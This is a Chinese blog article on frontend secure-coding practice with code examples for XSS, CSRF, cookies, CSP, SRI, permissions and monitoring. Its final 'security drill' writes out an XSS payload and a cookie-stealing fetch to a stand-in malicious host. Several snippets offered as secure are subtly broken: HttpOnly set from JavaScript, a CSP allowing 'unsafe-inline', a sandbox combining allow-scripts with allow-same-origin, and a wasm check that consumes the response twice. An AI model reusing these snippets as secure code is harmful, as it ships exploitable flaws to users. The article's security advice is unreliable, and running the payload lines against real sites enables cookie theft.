您现在的位置是:网站首页 > 安全编码规范文章详情
安全编码规范
陈川
【
前端安全
】
43264人已围观
8627字
安全编码规范的重要性
前端安全编码规范是保障Web应用安全的第一道防线。随着Web技术快速发展,前端承担了越来越多业务逻辑,安全风险也随之增加。从XSS攻击到CSRF漏洞,从数据泄露到权限绕过,缺乏安全意识的代码可能成为攻击者的突破口。遵循安全编码规范不仅能预防常见漏洞,还能建立纵深防御体系。
输入验证与过滤
所有用户输入都应视为不可信数据。前端验证不能替代服务端验证,但能提供即时反馈并减少无效请求。
// 危险的innerHTML用法
document.getElementById('output').innerHTML = userInput;
// 安全的文本处理
const sanitize = (str) => {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
};
document.getElementById('output').innerHTML = sanitize(userInput);
表单验证应使用白名单原则:
// 邮箱验证示例
function validateEmail(email) {
const re = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
return re.test(String(email).toLowerCase());
}
// 电话号码验证
function validatePhone(phone) {
return /^[0-9]{10,15}$/.test(phone);
}
防御XSS攻击
跨站脚本攻击是最常见的前端威胁,防护措施包括:
- 内容安全策略(CSP)配置:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline' cdn.example.com;">
- 安全DOM操作实践:
// 不安全的做法
element.innerHTML = `<a href="${userLink}">点击</a>`;
// 安全做法
const a = document.createElement('a');
a.href = new URL(userLink, window.location.href).toString();
a.textContent = '点击';
element.appendChild(a);
- 第三方库使用规范:
# 定期更新依赖
npm audit fix
防范CSRF攻击
跨站请求伪造防护需要前后端配合:
- 同源检测:
// 检查请求来源
if (request.headers.get('Origin') !== 'https://yourdomain.com') {
throw new Error('非法请求来源');
}
- CSRF Token实现:
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<!-- 其他表单字段 -->
</form>
- 敏感操作二次验证:
// 资金转账前要求密码确认
async function transferFunds(amount, account) {
const confirmed = await showPasswordDialog();
if (!confirmed) return;
// 执行转账逻辑
}
安全的数据存储
客户端存储敏感数据需格外谨慎:
- Cookie安全设置:
// 安全cookie设置
document.cookie = `sessionId=${token}; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600`;
- localStorage使用限制:
// 不存储敏感信息
localStorage.setItem('preferences', JSON.stringify(uiSettings));
// 加密存储必要数据
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM' },
key,
new TextEncoder().encode(sensitiveData)
);
- IndexedDB安全实践:
// 创建加密数据库
const db = await indexedDB.open('SecureDB', 1, {
upgrade(db) {
const store = db.createObjectStore('encryptedData', {
keyPath: 'id',
autoIncrement: true
});
}
});
安全的通信传输
网络通信环节需保证数据机密性和完整性:
- 强制HTTPS:
# Nginx配置
server {
listen 80;
server_name example.com;
return 301 https://$host$request_uri;
}
- 安全头设置:
// Express中间件示例
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
next();
});
- API请求保护:
// 添加请求签名
async function makeSecureRequest(url, data) {
const timestamp = Date.now();
const nonce = crypto.randomUUID();
const signature = await generateSignature(data, timestamp, nonce);
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Auth-Timestamp': timestamp,
'X-Auth-Nonce': nonce,
'X-Auth-Signature': signature
},
body: JSON.stringify(data)
});
}
第三方资源安全管理
外部资源可能引入供应链攻击:
- 子资源完整性(SRI):
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
- 沙箱隔离:
<iframe src="https://third-party.com/widget"
sandbox="allow-scripts allow-same-origin"
allow="geolocation *; microphone none"></iframe>
- 动态加载验证:
// 安全加载外部脚本
function loadScript(url) {
return new Promise((resolve, reject) => {
const script = document.createElement('script');
script.src = url;
script.onload = resolve;
script.onerror = reject;
document.head.appendChild(script);
});
}
// 使用前验证
if (isAllowedDomain('https://trusted-cdn.com')) {
await loadScript('https://trusted-cdn.com/library.js');
}
错误处理与日志记录
不当的错误处理可能泄露敏感信息:
- 安全错误消息:
// 不安全的做法
try {
authenticate(user);
} catch (err) {
showError(`登录失败: ${err.message}`); // 可能暴露系统信息
}
// 安全做法
try {
authenticate(user);
} catch {
showError('用户名或密码错误');
}
- 客户端日志过滤:
// 日志记录前清理敏感数据
function sanitizeForLog(data) {
const clone = {...data};
delete clone.password;
delete clone.creditCard;
return clone;
}
console.log('API请求:', sanitizeForLog(requestData));
- 错误边界处理(React示例):
class ErrorBoundary extends React.Component {
state = { hasError: false };
static getDerivedStateFromError() {
return { hasError: true };
}
componentDidCatch(error, info) {
safeLogError(error, info); // 安全的上报方法
}
render() {
if (this.state.hasError) {
return <FallbackUI />;
}
return this.props.children;
}
}
前端权限控制
客户端权限验证必须与服务端保持一致:
- 路由守卫实现(Vue示例):
// router.js
router.beforeEach((to, from, next) => {
if (to.meta.requiresAdmin && !store.getters.isAdmin) {
next('/forbidden');
} else {
next();
}
});
- 界面元素权限控制:
// React组件权限控制
function AdminPanel() {
const { user } = useAuth();
return (
<div>
{user.canEdit && <button>编辑配置</button>}
{user.isAdmin && <button>删除用户</button>}
</div>
);
}
- API请求权限验证:
// 请求拦截器
axios.interceptors.request.use(config => {
if (config.requiresAuth) {
config.headers.Authorization = `Bearer ${getAccessToken()}`;
}
return config;
});
axios.interceptors.response.use(
response => response,
error => {
if (error.response.status === 403) {
showPermissionDenied();
}
return Promise.reject(error);
}
);
自动化安全检测
将安全检查集成到开发流程中:
- ESLint安全规则:
// .eslintrc.json
{
"extends": ["plugin:security/recommended"],
"rules": {
"security/detect-object-injection": "error",
"security/detect-possible-timing-attacks": "error"
}
}
- 预提交钩子检查:
// package.json
{
"husky": {
"hooks": {
"pre-commit": "npm run lint:security && npm audit"
}
}
}
- 依赖漏洞扫描:
# 使用npm audit
npm audit --production
# 使用snyk
npx snyk test
性能与安全的平衡
安全措施可能影响用户体验,需要合理权衡:
- 内容安全策略优化:
<!-- 非阻塞CSP报告 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; report-uri /csp-report">
- 认证会话管理:
// 自适应会话超时
let idleTimer;
function resetIdleTimer() {
clearTimeout(idleTimer);
idleTimer = setTimeout(() => {
if (isSensitivePage()) {
requireReauth();
}
}, 30 * 60 * 1000); // 30分钟
}
window.addEventListener('mousemove', resetIdleTimer);
- 资源加载策略:
<!-- 关键资源预加载 -->
<link rel="preload" href="/auth-check.js" as="script">
<!-- 非关键资源延迟加载 -->
<script src="analytics.js" defer></script>
新兴技术安全考量
现代前端框架和API需要特别关注:
- Web Worker安全:
// 主线程
const worker = new Worker('secure-worker.js', {
type: 'module',
credentials: 'same-origin'
});
// worker线程
self.addEventListener('message', (e) => {
if (e.origin !== expectedOrigin) return;
// 处理数据
});
- WebAssembly安全实践:
// 验证wasm模块
async function loadWasm() {
const response = await fetch('module.wasm');
const hash = await computeSHA256(response);
if (hash !== EXPECTED_HASH) throw new Error('校验失败');
const buffer = await response.arrayBuffer();
const module = await WebAssembly.compile(buffer);
return new WebAssembly.Instance(module);
}
- 服务端渲染(SSR)安全:
// Next.js getServerSideProps示例
export async function getServerSideProps(context) {
if (!context.req.user.isAdmin) {
return { notFound: true }; // 隐藏管理页面
}
return { props: { sensitiveData } };
}
持续安全维护
安全不是一次性的工作:
- 依赖更新策略:
// package.json
{
"dependencies": {
"react": "^18.2.0", // 允许补丁更新
"vue": "~3.2.45", // 允许小版本更新
"lodash": "4.17.21" // 固定版本
}
}
- 安全监控集成:
// 前端监控初始化
Sentry.init({
dsn: 'https://key@domain.ingest.sentry.io/id',
beforeSend(event) {
if (event.exception) {
filterSensitiveData(event);
}
return event;
}
});
- 安全演练计划:
// 模拟攻击测试
function runSecurityDrill() {
try {
// 尝试XSS
document.body.innerHTML = '<img src=x onerror=alert(1)>';
// 尝试CSRF
fetch('http://malicious.com/steal-cookie', {
credentials: 'include'
});
} catch (e) {
reportSecurityEvent('Drill succeeded', e);
}
}
上一篇: 开发团队的安全意识培养
下一篇: 应急响应与漏洞修复流程